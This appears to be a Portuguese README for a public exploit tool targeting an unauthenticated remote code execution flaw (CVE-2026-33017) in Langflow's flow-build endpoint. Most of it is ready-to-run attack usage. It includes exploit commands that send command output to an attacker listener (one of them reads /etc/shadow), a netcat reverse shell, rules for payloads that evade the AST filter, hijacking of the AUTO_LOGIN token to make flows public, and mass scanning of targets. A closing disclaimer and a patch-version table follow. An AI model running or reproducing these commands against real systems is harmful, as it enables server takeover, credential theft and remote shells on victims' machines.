
Exploit para CVE-2026-33017 — RCE não autenticado no Langflow <= 1.8.2 via exec() no endpoint de build de fluxo
_____
/ \
| () () |
\ ^ /
|||||
exec() sem autenticação, sem sandbox, sem esperança.
Langflow <= 1.8.2 permite execução remota de código não autenticada através do endpoint POST /api/v1/build_public_tmp/{flow_id}/flow. Dados de fluxo fornecidos pelo atacante contendo Python arbitrário nas definições de nós são passados diretamente para exec() sem nenhum sandbox.
POST /api/v1/build_public_tmp/{flow_id}/flow
-> chat.py -> start_flow_build() -> build_graph_from_data()
-> Graph.from_payload() -> loading.py -> eval.py create_class()
-> validate.py prepare_global_scope() -> exec(compiled_code)
-> código arbitrário é executado como o processo do servidor. fim de jogo.
git clone https://github.com/oscarmine/CVE-2026-33017.git
cd CVE-2026-33017
pip install requests
python3 exploit.py --url http://target:7860 --check
python3 exploit.py --url http://target:7860 --cmd "id"
# Terminal 1: iniciar listener
python3 -m http.server 8080
# Terminal 2: disparar exploit
python3 exploit.py --url http://target:7860 --cmd "id" \
--callback-get http://your-ip:8080
# Decodifique o base64 dos logs do seu listener:
echo "dWlkPTEwMDAo..." | base64 -d
# Terminal 1: iniciar listener
nc -l 8080
# Terminal 2: disparar exploit
python3 exploit.py --url http://target:7860 --cmd "cat /etc/shadow" \
--callback-post http://your-ip:8080
# A saída bruta chega diretamente no corpo do POST - sem necessidade de decodificação
# Terminal 1: iniciar listener
nc -l 4444
# Terminal 2: disparar exploit
python3 exploit.py --url http://target:7860 --revshell your-ip 4444
python3 exploit.py --url http://target:7860 --payload-file implant.py
Regras do arquivo de payload:
exec() dentro de prepare_global_scope()_x = os.popen(...).read()) porque o filtro AST só executa nós Assign, FunctionDef, ClassDefthreading.Thread(daemon=True) para evitar matar o event loop assíncronoQuando não existem fluxos PÚBLICOS, mas o AUTO_LOGIN está habilitado (padrão em muitas implantações):
python3 exploit.py --url http://target:7860 --auto-promote --cmd "id"
Isso sequestra o token AUTO_LOGIN, aplica PATCH no primeiro fluxo para PÚBLICO e então o explora.
Escaneie múltiplos alvos a partir de um arquivo (somente verificação de vulnerabilidade):
python3 exploit.py --scan-file targets.txt
python3 exploit.py --scan-file targets.txt --threads 20 --scan-output results.txt
Formato do targets.txt:
http://10.10.10.5:7860
http://10.10.10.6:7860
192.168.1.100:7860
# comentários são ignorados
A saída mostra:
python3 exploit.py --url http://target:7860 --cmd "id" \
--proxy http://127.0.0.1:8080
/api/v1/version para identificar o alvoCustomComponent contendo Python malicioso no campo code/api/v1/build_public_tmp/{flow_id}/flow com o parâmetro data manipulado. O Langflow compila o grafo, que chama create_class() -> prepare_global_scope() -> exec() no código do atacanteA correção na v1.9.0 remove o parâmetro data completamente, forçando o endpoint a usar apenas dados de fluxo armazenados no banco de dados.
Esta ferramenta é somente para pesquisa de segurança autorizada. Use apenas contra sistemas para os quais você tenha permissão explícita de teste. O autor não é responsável pelo uso indevido.
| Versão |
|---|
| Status |
|---|
| <= 1.8.1 | Vulnerável |
| 1.8.2 | Correção alegada no changelog, mas o código nunca foi alterado (confirmado pela JFrog) |
| 1.9.0-dev0 até dev11 | Ainda vulnerável |
| 1.9.0 | Realmente corrigido - parâmetro data removido do endpoint |